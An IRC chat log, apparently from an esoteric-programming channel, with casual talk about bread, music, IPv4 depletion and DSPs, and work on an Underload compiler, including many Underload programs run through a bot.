00:39:13 <elliott> i blame Ilari!
00:39:37 <Ilari> AFAIK, of the four main grains, only rye is difficult to bake into bread without fermenting it...
00:40:27 <pikhq> Hmm. Well, I don't think I've ever had rye bread anywhere *near* as terrible as the shitty white bread you get on store shelves.
00:40:53 <pikhq> How the hell do they get that shit so dry, anyways? And bland? I swear, hard tack is better.
00:40:57 <Ilari> White rye bread is new invention (and thus not widely manufactured).
00:41:06 <pikhq> (not even joking.)
00:42:13 <elliott> hmm, maybe this is better
00:42:18 <elliott> yes, it is
00:42:27 <Ilari> Oh, and processed food manufacturers employ scientists and I expect those companies to know what they are doing...
00:42:42 <pikhq> Though, hard tack isn't all that bad, really. If you don't like your teeth that much. :P
00:43:03 <Ilari> All the chemical preseervatives extend the shelf life for so long that it tastes bland and dry?
00:43:42 <Ilari> Properly baked bread goes stale very quick.
00:44:03 -!- poiuy_qwert has joined.
00:45:09 <elliott> Ilari: Hard tack isn't very chemical afaic...
00:45:39 <elliott> *afaik...
00:45:43 <pikhq> elliott: Store-shelf white bread is very chemical.
00:45:48 <elliott> hARD TACK ISN'T :p
00:46:02 <pikhq> Hard tack is flour and water.
00:46:21 <elliott> woo it works
00:46:22 <elliott> kinda
00:47:32 <Ilari> So fast that day after it is baked it is a lot worse than the day it was baked. And the day after that it is almost inedible. Complare this to how long store-brought breads last...
00:48:23 <pikhq> Aaand after that, well, there's a reason we've got croutons, fried bread, bread pudding, etc.
00:50:58 <Ilari> Of course, making one eat lots of food involves screwing up or bypassing normal metabolic controls... And that's not a good thing....
00:51:12 <elliott> It's the BEST thing!
00:53:19 <Gregor> http://codu.org/tmp/zee5ghosts.ogg Opinions?
00:53:43 <elliott> insufficiently superturing
00:53:46 <elliott> wil llisten later :P
00:53:48 <elliott> *will listen
00:54:13 <Gregor> Opinions are not restricted to elliott :P
00:54:13 -!- augur has quit (Remote host closed the connection).
00:54:18 <elliott> YES THEY ARE
00:54:28 <pikhq> Gregor: I can only conclude that you should learn every instrument, and never have to use synths again.
00:54:41 <Gregor> pikhq: I can't even snap.
00:55:08 <pikhq> I can only conclude that you need to be filthy rich, and thereby become the patron of an orchestra.
00:55:41 <Gregor> I'm not sure it counts as a patron if I force them to play only my shit :P
00:56:40 <elliott> Dictator.
00:56:53 <pikhq> Okay, it probably doesn't count as a patron.
00:57:11 <pikhq> Clearly you should be supreme overlord of all.
00:57:37 <Gregor> I could work with that.
01:00:10 -!- hagb4rd has quit (Ping timeout: 240 seconds).
01:05:12 <Ilari> IPv4 RIR status (according to inetcore depletion counter): ARIN at 4%, APNIC at 7%, RIPE at 10%, LACNIC at 25%, AFRINIC at 53%.
01:09:16 -!- augur has joined.
01:09:48 -!- Tritonio has quit (Quit: Leaving).
01:10:02 <Ilari> According to latest unallocated file, there are 442 414 552 IPv4 addresses unallocated.
01:12:44 <Ilari> Taking set-aside policies into account, there are about 382 645 720...
01:13:13 -!- zzo38 has joined.
01:16:16 <zzo38> If you are playing a chess variant, where the queen cannot capture (or give check/mate) but stops all adjacent pieces (of any color) from capturing. If your opponent has only one king and nothing else, you have one king and some queens, how many queens do you need to win?
01:16:19 <elliott> :t index
01:16:20 <lambdabot> forall a. (Ix a) => (a, a) -> a -> Int
01:16:39 <elliott> :t indexOf
01:16:40 <lambdabot> Not in scope: `indexOf'
01:16:44 <elliott> @hoogle [a] -> a -> Int
01:16:45 <lambdabot> Data.List elemIndex :: Eq a => a -> [a] -> Maybe Int
01:16:45 <lambdabot> Data.List elemIndices :: Eq a => a -> [a] -> [Int]
01:16:45 <lambdabot> Network.BufferType buf_concat :: BufferOp a -> [a] -> a
01:16:59 <zzo38> That isn't a very good answer!
01:17:01 <elliott> > nub "aabc"
01:17:02 <lambdabot> "abc"
01:17:04 <elliott> zzo38: sry
01:18:04 <Sgeo_> "I am pleased to learn that to you she is nothing but a platonic solid."
01:18:07 <Sgeo_> http://fiveminute.net/ds9/fiver.php?ep=thesearch2
01:19:49 <Sgeo_> Meh
01:19:59 <Sgeo_> It's hard to parody good fiction, I guess
01:21:33 <elliott> :t elem
01:21:34 <lambdabot> forall a. (Eq a) => a -> [a] -> Bool
01:25:59 <elliott> ooh, this is _tricky_
01:27:59 -!- Mathnerd314 has joined.
01:28:45 <elliott> grr, too tricky
01:28:50 <elliott> oh wait maybe i can
01:28:50 <elliott> hmm
01:28:51 <elliott> no
01:33:09 -!- augur has quit (Remote host closed the connection).
01:37:44 <elliott> pikhq: http://sprunge.us/LPYO
01:37:54 <elliott> pikhq: I think using ints as my references is hampering this code's elegance somewhat. :p
01:38:23 <elliott> Argh, and my parse accepts ( because of my Invalid rule...
01:39:27 <elliott> ^ul (")S
01:39:27 <fungot> "
01:39:37 <elliott> fizzie: Your Underload interpreter is non-compliant.
01:40:16 <zzo38> Other people get annoyed that my programs follow the RFC.
01:40:43 <elliott> What do you mean?
01:40:54 <elliott> What do they get annoyed about?
01:41:54 <zzo38> Most IRC servers and IRC clients do not even follow the specifications correctly.
01:42:12 <elliott> why do they get annoyed?
01:42:22 <elliott> ais523-logreading: btw my compiler now supports "[, "], "<, ">, and "", making it the first compliant Underload parser ever... I'll probably remove it due to it being a pain, though :P
01:42:53 <zzo38> elliott: Can you make it a command-line switch then? Instead of just putting it in and then removing it.
01:43:10 <elliott> zzo38: Well, not even the reference interpreter supports that, so I think it is not part of the language.
01:47:25 <zzo38> The other way is write programs that do not use []<>" and then it doesn't matter.
01:47:32 <elliott> pikhq: finish my program!
01:47:39 <elliott> zzo38: I don't think any existing program does actually
01:48:09 <zzo38> elliott: Then it is good, because it doesn't matter. If some programs do have to, the implementations or the documentations (or both) can be adjusted.
01:48:29 <elliott> The "official" spec (the wiki page) says it's arguably not part of the language anyway.
01:48:31 <elliott> :p
01:50:41 <elliott> http://esoteric.voxelperfect.net/svn/esofiles/underload/impl/stringie.c wow this must be slow
02:00:16 -!- zzo38 has quit (Remote host closed the connection).
02:04:09 -!- augur has joined.
02:05:38 <elliott> oh *joy* it is broked
02:05:43 <elliott> yes, that's right
02:05:44 <elliott> broked
02:05:47 <elliott> think that's not a word? well fuck you.
02:06:25 <elliott> oh
02:06:26 <elliott> duh
02:06:45 <elliott> wait what
02:06:47 <elliott> oh
02:06:48 <elliott> shit...
02:07:18 -!- poiuy_qwert has quit (Ping timeout: 255 seconds).
02:07:43 -!- poiuy_qwert has joined.
02:12:51 <quintopia> it's not a word. you meant borked.
02:13:41 <quintopia> elliott, do you have a shell script for sprunge so you don't have to write out the whole curl -F everytime you want to sprunge?
02:13:53 <elliott> nope, I just write it out ... but it's easy enough to do
02:13:59 <elliott> alias sprunge="curl -F 'sprunge=<-' sprunge.us"
02:14:02 <elliott> then 'sprunge <file' works
02:14:49 <quintopia> thx imma do that
02:14:53 <quintopia> but
02:15:11 <pikhq> elliott: Hammer: apply directly to the forhead.
02:15:15 <pikhq> s/for/fore/
02:15:16 <elliott> pikhq: wat
02:15:20 <quintopia> call it spr instead :P
02:15:25 <elliott> quintopia: no, call it sprunge
02:15:37 <elliott> quintopia: or "pb" if you must
02:15:40 <elliott> (PasteBin)
02:15:44 <elliott> or even paste
02:15:53 <quintopia> okay
02:15:57 <pikhq> paste is a POSIX util.
02:16:08 <quintopia> is pb anything?
02:16:22 <pikhq> No, but now you need j.
02:16:25 <pikhq> pb&j
02:16:32 <quintopia> lead and j..?
02:16:37 <Gregor> pb is a daemon necessary for j to operate
02:16:47 <quintopia> i disarghree
02:17:16 <Gregor> quintopia: But then pb&j is a valid command ...
02:17:16 <quintopia> because
02:17:22 <quintopia> biscuit&j also works fine
02:17:34 <elliott> pikhq: Paste is a rather useless posix util. :p
02:19:56 <quintopia> elliott: is zeotrope known as anything else?
02:20:09 <elliott> Not AFAIK, why?
02:21:40 <quintopia> oh, i just have a copy of a portion of logs i made for zzo back when you were alise, and zeotrope was in it, and i was like "i haven't seen that one in a while"
02:25:40 <Sgeo_> My step-mother's here
02:25:46 <Sgeo_> I locked myself in my room
02:26:04 <quintopia> oh hello
02:35:40 -!- DH____ has joined.
02:37:36 <elliott> quintopia: haha
02:37:54 <elliott> quintopia: get the hg logs, they're the NEW THING
02:38:04 <Gregor> OMG SONiVOX HAS THE BEST EFFING ACCORDION EVER
02:38:44 <quintopia> gregor: what about the bongos
02:39:30 <Gregor> Those would be in percussion somewhere, and I'm not willing to look for them :P
02:40:36 -!- DH____ has quit (Quit: Trillian (http://www.ceruleanstudios.com).
02:46:09 <Gregor> BEST
02:46:11 <Gregor> ACCORDION
02:46:12 <Gregor> EVER
02:46:28 <Gregor> I've used VSTi accordions. THEY CAN SUCK IT
02:46:36 <quintopia> prove it
02:46:42 <quintopia> write a piece for accordion only
02:48:52 <elliott> bongoccordians
02:48:52 <Gregor> MAYBE I WILL
02:49:09 <quintopia> SYMPHONY FOR 15 ACCORDIONS
02:49:16 <quintopia> and 1 bongo
02:50:06 -!- Slereah has quit (Ping timeout: 250 seconds).
02:51:39 <elliott> no1
02:51:40 <elliott> *no
02:51:42 <elliott> 15 accordians
02:51:43 <elliott> and 15 bongos
02:56:58 -!- Slereah has joined.
02:57:24 <Gregor> The Infinite Bongos Project
02:57:57 -!- cal153 has quit (Ping timeout: 276 seconds).
03:01:20 -!- amca has quit (Quit: Farewell).
03:05:56 <elliott> 21:42:09 <GregorR> Yeah, Javascript is bad ...
03:05:58 <elliott> Gregor: ^
03:06:00 <elliott> (circa 2005)
03:06:11 <elliott> While talking about Firefox 1.5 :lol2005:
03:06:14 -!- pikhq_ has joined.
03:06:23 <Gregor> Quite probably JavaScript was bad in FF1.5
03:06:44 -!- pikhq has quit (Ping timeout: 260 seconds).
03:06:55 <elliott> Gregor: Actually it was in response to someone yaying at the fact that Firefox 2.0 would support Python scripting (???).
03:07:00 <elliott> SO THAT WAS A COMMENT ON THE LANGUAGE AND YOU CAN'T AVOID IT
03:07:26 <Gregor> A) It could have been sarcastic, B) that was five years ago, C) I've never liked Python, so see (A)
03:08:33 <Gregor> (Five to six)
03:08:57 <elliott> It waaasn't sarcaaaastic~~~~~~~~
03:09:13 <elliott> 21:40:49 <Arrogant> Ah.
03:09:13 <elliott> 21:40:57 <Arrogant> Fx2 will have Python support.
03:09:14 <elliott> 21:41:00 <Arrogant> Or rather,
03:09:14 <elliott> 21:41:03 <Arrogant> Gecko 1.9 will.
03:09:14 <elliott> 21:41:22 <Arrogant> Which means that Chatzilla will become my new IRC client.
03:09:14 <elliott> 21:41:29 <GregorR> Awesome, gonna be scripting?
03:09:16 <elliott> 21:41:42 <GregorR> http://www.codu.org/pics/3d/Trainer.jpg < Can you see the 3D phone? :P
03:09:20 <elliott> 21:41:51 <Arrogant> Oh, definitely. The only thing keeping me from writing Chatzilla scripts is that it is in JAVASCRIPT.
03:09:23 <elliott> 21:41:53 <Arrogant> And I hate Javascript.
03:09:25 <elliott> 21:42:09 <GregorR> Yeah, Javascript is bad ...
03:09:27 <elliott> 21:42:49 * Arrogant checks the mimetype of said link
03:09:29 <elliott> 21:42:50 <Arrogant> ;)
03:09:31 <elliott> 21:42:54 <Arrogant> Okay safe.
03:09:33 <elliott> 21:43:12 <GregorR> It's just a jpeg :P
03:09:35 <elliott> Gregor takes my mocking so seriously.
03:09:37 <elliott> I am but a humble logreader.
03:10:02 <Gregor> *eh*
03:11:52 <quintopia> it could be sarcastic
03:13:04 -!- hagb4rd has joined.
03:13:08 <Gregor> Oh maaaaaaaaan
03:13:13 <Gregor> You will CRINGE with the accordion awesomeness.
03:13:13 -!- pikhq_ has changed nick to pikhq.
03:13:17 <elliott> :D
03:13:26 <Gregor> It's so good it's so bad it's so good.
03:13:43 <Gregor> Actually I feel that it's a little bit out of tune, and yet it sounds magnificent :P
03:14:20 <elliott> *Main> test "asdaskdl^"
03:14:20 <elliott> #define TYPE_0 T_QUOT
03:14:20 <elliott> #define STR_0 "asdaskdl^"
03:14:20 <elliott> case 0 : quo_0 :
03:14:20 <elliott> ENCLOSE INVALID("sd") ENCLOSE INVALID("skdl") TAIL_INCLUDE
03:14:21 <elliott> EPILOGUE
03:14:23 <elliott> Wooooooooooooooo
03:14:50 <elliott> Actually EPILOGUE is just "return;" :P
03:14:59 <Gregor> Is this ... some two-language quine in development or something?
03:15:09 <elliott> Gregor: No, this is my Underload compiler reborn.
03:15:18 <Gregor> Ah :P
03:15:23 <elliott> The first line is the GHCi prompt :P
03:15:35 <elliott> Now for, uhh, all the data structures, all the operations, and all the optimisations (e.g. number handling).
03:15:36 <Gregor> That's the only reason I thought two-language.
03:15:36 <quintopia> Gregor: don't forget the bongos
03:15:46 <elliott> But hey, it parses!
03:15:48 <Gregor> quintopia: I'm just adapting zee1 to new instruments here :P
03:15:57 <Gregor> (Actually, only one new instrument)
03:15:58 <elliott> Gregor: MAKE HALF OF THEM BONGOS
03:16:26 <elliott> This program is great, I have a constructor called FActual.
03:16:27 <quintopia> ^
03:16:31 <elliott> It's so factual.
03:17:03 <elliott> I worry that GCing this will be a bitch...
03:17:46 <elliott> Hey Gregor, how easy is it to use GREGOR'S GENERIC GENERATIONAL GARBAGE-GARGLING GORGEMEISTER GETTYSBURG-ADDRESSING GAY GAYNESS COLLECTOR.
03:17:57 <elliott> (I don't actually want an answer, I just had to do that.)
03:18:18 <Gregor> Easy enough *shrugs*
03:18:38 <elliott> Gregor: Easy enough when the language you're implementing isn't almost inherently memory-leaky :P
03:18:57 <elliott> Well, technically, the actual language itself can be done without even refcounting, pop is just a free.
03:19:10 <elliott> But in this impl it's basically a linked-list on acid.
03:19:25 <elliott> I might want some kind of periodic "compact lists into one element" thing...
03:20:30 <Gregor> http://codu.org/tmp/zee1zomgccordian.ogg (Opens with awesome zomgccordion even :P )
03:20:50 <elliott> Gregor: More bongos
03:20:54 <elliott> MORE FUCKING BONGOS
03:21:15 <elliott> quintopia: I think Gregor might be having trouble interpreting us.
03:21:18 <elliott> Ltt's try it again.
03:21:20 <elliott> Gregor: MORE
03:21:22 <elliott> Gregor: FUCKING
03:21:23 <elliott> Gregor: BONGOS
03:21:31 <Gregor> OH
03:21:35 <Gregor> Now I get it
03:21:36 * Gregor goes to fuck a bongo.
03:21:45 <elliott> THAT IS ACCEPTABLE.
03:21:58 <quintopia> i'll listen after color wheel
03:22:06 <quintopia> color wheel is the best a capella song ever
03:25:56 -!- cal153 has joined.
03:37:36 -!- jordotech has joined.
03:38:50 <elliott> Why do most package managers have global locks? It's really irritating.
03:38:53 <elliott> (I know Portage doesn't.)
03:40:55 <pikhq> Uh, Portage does have a global lock, I thought.
03:41:25 <elliott> pikhq: Well, you can install two packages simultaneously.
03:41:34 <pikhq> Pretty sure it locks during merge.
03:41:36 <elliott> I suppose the actual installing part might be locked but that's insignificant compared to downloading and compiling.
03:41:43 <elliott> With apt, it won't even download if another apt is running.
03:42:10 <pikhq> Of course, locking during the actual merge is just reasonably sane.
03:42:39 <elliott> pikhq: Furball has no locks! Hooray!
03:43:10 <elliott> pikhq: (Kitten's pkg manager.)
03:44:47 <elliott> pikhq: Have I mentioned that KITTEN COMES WITH GHC. (OK, OK, Kitten comes with GHC if you install my nebulous concept of a system package, which includes a window manager and an IRC client; I'm not sure why anyone would install it unless that person was me.)
03:45:18 <elliott> But still.
03:45:22 <elliott> Any OS that comes with GHC is PERFECT!
03:47:13 <elliott> Sheesh, the things I do to please my future users, and pikhq doesn't even REACT.
03:48:00 -!- poiuy_qwert has quit (Ping timeout: 276 seconds).
03:48:33 <elliott> Maybe I'll shoot him.
03:49:51 -!- azaq231 has joined.
03:50:04 -!- azaq231 has quit (Changing host).
03:50:04 -!- azaq231 has joined.
03:50:10 <elliott> pikhq is dead.
03:50:13 -!- poiuy_qwert has joined.
03:50:23 -!- azaq23 has quit (Ping timeout: 240 seconds).
03:50:45 <pikhq> husìtu!
03:51:03 <elliott> STOP TALKING MOON LANGUAGE, AMERICAN
03:51:28 <pikhq> ketòkètukènnkòkàsukità
03:51:32 <elliott> I wonder if my IRC client architecture would actually be low-latency enough ...
03:51:58 <elliott> pikhq: How fast are the FUSE filesystems to mount ssh filesystems?
03:52:34 -!- jordotech has left (?).
03:52:51 <elliott> <pikhq> hurr i cant speek
03:52:56 <pikhq> elliott: Reasonably speedy, really.
03:53:07 <elliott> pikhq: Speedy enough to tunnel all IRC traffic over?
03:53:22 <pikhq> I doubt it'd even be noticable.
03:53:56 <elliott> pikhq: Consider doing "tail -f foo" and also writing to a FIFO, in an sshfs. Think the latency will be even barely noticeable vs. connecting unencrypted to a bouncer on the same server, reading the same data, and writing the same?
03:54:05 <elliott> pikhq: Hmm, well, maybe tail -f foo is not such a good idea, since it is based on polling...
03:54:19 <elliott> I'm sure it's possible to make a tail -f alike that doesn't poll though.
03:54:40 <elliott> (it is based on polling right?)
03:57:33 <elliott> HEY PIKHQ THAT WAS A QUESTION
03:57:39 <elliott> I'm starting to think that maybe you're not actually Pikachu.
03:57:43 <elliott> Pikachu knows all about this stuff.
03:59:56 <pikhq> hìka?
04:00:28 <pikhq> hì-kâtiȳû!
04:01:26 <elliott> <elliott> (it is based on polling right?)
04:01:29 <elliott> Answer in Pika.
04:01:35 <pikhq> hìkahìka.
04:02:21 <elliott> pikhq: It is possible to make a tail -f alike that does not use polling right? ANSWER IN PIKA
04:02:58 <pikhq> hì-hì-hì-, hì-ka'tiȳu!
04:03:29 <pikhq> ...
04:03:35 <pikhq> s/ì/į/g
04:03:40 * pikhq facepalms
04:03:48 <elliott> It occurs to me that I have absolutely no idea how you would express "no" in this manner.
04:03:55 * pikhq zaps
04:05:52 <quintopia> Gregor: this zee song sounds like it could have been on the coraline soundtrack
04:05:52 <elliott> From this, I conclude that my almost direct clone of ii is not only the perfect IRC client, but the perfect bouncer, too.
04:05:52 <elliott> MWAHAHA
04:06:52 <quintopia> Gregor: but the accordion is awesomesauce fo sho
04:07:42 <Gregor> Never watched Coraline :P
04:07:50 <quintopia> too bad
04:07:53 <quintopia> good movie
04:08:03 <Sgeo_> elliott, is Season 4 entirely about the conflict with the Xyvatbaf, or will there be at least some Dominion stuff?
04:08:48 <quintopia> wait i don't even remember how many seasons there were >_>
04:09:04 <elliott> 7
04:09:08 <elliott> and a zero
04:09:11 <elliott> 70
04:09:30 <quintopia> Sgeo_: i don't remember a lot of dominion stuff happening until the last couple of seasons
04:12:25 <elliott> I wonder if I should use computed gotos here...
04:12:28 <elliott> ...yeah.
04:25:32 -!- elliott has quit (Quit: Leaving).
04:25:54 -!- elliott has joined.
04:26:17 -!- elliott has quit (Client Quit).
04:47:06 -!- augur has quit (Remote host closed the connection).
04:50:16 -!- augur has joined.
04:54:23 -!- copumpkin has quit (Ping timeout: 240 seconds).
04:54:59 -!- copumpkin has joined.
05:24:18 <Gregor> Damn it Sarah McLaughlin, you make me want to strangle puppies SO MUCH
05:27:51 <quintopia> what's wrong with strangling puppies?
05:28:07 <kfr> Touching those filthy animals with your own hands
05:28:13 <quintopia> i mean, it's slightly worse than strangling kittens i suppose
05:28:15 <quintopia> but still
05:28:18 <quintopia> they're just babies
05:28:23 <quintopia> not real dogs yet
05:28:27 <kfr> You're supposed to use at least a pair of gloves
05:28:31 <kfr> Yeah, adults are worth more
05:28:57 <quintopia> plus they come in litters of like 8
05:29:08 <quintopia> so what's one or two in the grand scheme?
05:30:06 -!- Mathnerd314 has quit (Remote host closed the connection).
05:30:13 <kfr> The grande Scheme?
05:30:30 <kfr> Dogs are Lispers, I see
05:30:31 <quintopia> yes
05:30:35 <quintopia> no
05:31:03 <quintopia> they aren't brilliant enough to understand LOOP
05:31:18 <kfr> Well, loop is a CLism, isn't it?
05:31:24 <kfr> Did Scheme even have that?
05:31:29 <quintopia> no
05:31:42 <quintopia> i consider CL LISP and scheme...scheme
05:32:14 <quintopia> since scheme is simpler, LISP is a scheme, but scheme is not quite a full LISP :P
05:36:24 <Gregor> The cat!
05:37:34 * quintopia cats Gregor
05:59:23 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
06:00:57 -!- poiuy_qwert has joined.
06:12:20 -!- oerjan has joined.
06:16:26 -!- poiuy_qwert has quit (Read error: Operation timed out).
06:17:15 -!- quintopia has quit (Ping timeout: 246 seconds).
06:18:07 <oerjan> nice xkcd today
06:21:02 -!- poiuy_qwert has joined.
06:21:08 <Gregor> Anybody happen to know of a FreeDesktop-aligned menu program that can run as a system tray applet?
06:21:36 -!- poiuy_qwert has quit (Client Quit).
06:21:37 <oerjan> i can guess what most of the words mean, does that count?
06:21:54 -!- pikhq_ has joined.
06:22:01 -!- pikhq has quit (Ping timeout: 265 seconds).
06:23:22 -!- quintopia has joined.
06:24:35 -!- zzo38 has joined.
06:39:05 -!- asiekierka has joined.
06:44:28 -!- Zuu has quit (Read error: Connection reset by peer).
06:44:39 -!- Zuu has joined.
07:04:27 <zzo38> Which DSPs are good to compute and output audio and video and programs can be compiled for them using GNU compiler?
07:11:10 -!- azaq231 has quit (Quit: Leaving.).
07:21:56 -!- cheater00 has quit (Ping timeout: 240 seconds).
07:23:25 -!- augur has quit (Remote host closed the connection).
07:23:28 -!- cheater00 has joined.
07:28:55 -!- FireFly has joined.
07:29:28 <quintopia> zzo38!
07:29:51 <Sgeo_> zzo38 * zzo37 * zzo36 * ...
07:30:03 <quintopia> :P
07:30:27 <quintopia> how are things in zzo38land?
07:31:59 <fizzie> I don't suppose GCC mainline targets any DSPs at all. The only DSP arch I'm personally any familiar with is TI's TMS320C* series, and I think there is some sort of an alpha-quality unofficial GCC port for the TMS320C6x (VLIW thingies) series.
07:33:03 <zzo38> Even if GCC mainline doesn't, it has to be one with Free assemblers/compilers that can program the device from any computer, and it has to be able to compute and output audio and video.
07:33:31 <fizzie> People might be less motivated to work on the GCC port now that TI's released their compiler/assembler/linker kit with a free-as-in-beer-for-non-commercial-use license.
07:35:02 <zzo38> fizzie: That's no good; although maybe a new assembler can be written.
07:35:10 <zzo38> Also, does it do audio and video?
07:35:40 <fizzie> That's a matter of supporting circuitry, really.
07:36:19 <fizzie> It just processes signals, after all.
07:37:08 <zzo38> But which ones would be good at doing audio and video?
07:37:37 <fizzie> I vaguely seem to recall that there's some sort of open-source linux stuff for the older TMS320C54x parts; maybe even a simulator or something. But they might not be very good. (And I don't know if that thing has enough MIPS for serious video processing; I've only done audio stuff with it.)
07:38:05 <fizzie> Have to go to prepare a lecture now. ->
07:38:38 <zzo38> I need at least one channel of video output and two channels of audio output simultaneously.
07:46:14 <zzo38> When I said I need a GCC target for it, I was wrong. What I need is a Free assembler for it.
07:46:24 -!- augur has joined.
07:47:55 -!- myndzi has quit (Read error: Connection reset by peer).
07:48:01 -!- myndzi has joined.
07:48:51 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*a~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(!())^^!S
07:48:51 <fungot> 0
07:48:55 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*a~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)()^^!S
07:48:55 <fungot> 1
07:49:04 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*a~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(::**::**)^^!S
07:49:04 <fungot> 9
07:49:13 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*a~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(:::***::**)^^!S
07:49:13 <fungot> ...out of stack!
07:49:17 <oerjan> DAMN
07:49:41 <Sgeo_> ?
07:49:55 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*a~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(::::****:*)^^!S
07:49:55 <fungot> (~^~(~a~*~a~*)~a*^:(0)*(:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))))
07:50:26 <oerjan> the carry obviously isn't working
07:54:15 <Sgeo_> 110.0
07:55:02 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):((~a(; )S:^):^~^~(~a~*~a~*)~a*^:(0)*)~a*a~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(::::****:*)^^!S
07:55:02 <fungot> ((~a(; )S:^):^~^~(~a~*~a~*)~a*^:(0)*(:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))))
07:55:29 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):((~a(; )*S:^):^~^~(~a~*~a~*)~a*^:(0)*)~a*a~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(::::****:*)^^!S
07:55:29 <fungot> ((~a(; )*S:^):^~^~(~a~*~a~*)~a*^:(0)*(:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))))
07:56:45 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):((~a(; )*S:^):^~^~(~a~*~a~*)~a*^:(0)*)~a*a~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(::::****:*)^^!^S
07:56:45 <fungot> (~a(; )*S:^):^~^~(~a~*~a~*)~a*^:(0)*(:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^))))))))))
07:57:04 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):((~a(; )*S:^):^~^~(~a~*~a~*)~a*^:(0)*)~a*a~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(::::****:*)^^!^^S
07:57:04 <fungot> ((a(:^)*():(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):^); ...out of stack!
07:59:05 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*a~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(::**::**)^^!S
07:59:05 <fungot> 9
07:59:20 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*a~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(::**::**)^^!(~aS:^):^
07:59:20 <fungot> (9)()((a(:^)*():(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):^)((~^~(~a~*~a~*)~a*^:(0)*(:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))))) ...out of stack!
07:59:32 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*a~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(::**::**)^^!(~a(; )*S:^):^
07:59:32 <fungot> (9); (); ((a(:^)*():(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):^); ((~^~(~a~*~a~*)~a*^:(0)*(:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))))); ...out of stack!
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:00:12 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*a~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(::**::**)^^(~a(; )*S:^):^
08:00:12 <fungot> (!~:^); (9); (); ((a(:^)*():(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):^); ((~^~(~a~*~a~*)~a*^:(0)*(:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))))); ...out of stack!
08:02:16 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(::**::**)^^!S
08:02:16 <fungot> 9
08:02:21 <oerjan> ^ul (:(1)*(:(2)*(:(3)*(:(4)*(:(5)*(:(6)*(:(7)*(:(8)*(:(9)*(!~:^)))))))))):(~^~(~a~*~a~*)~a*^:(0)*)~a*~:(a(:^)*())~*a(:^)*~()~(0)~(~!^)(:::***::**)^^!S
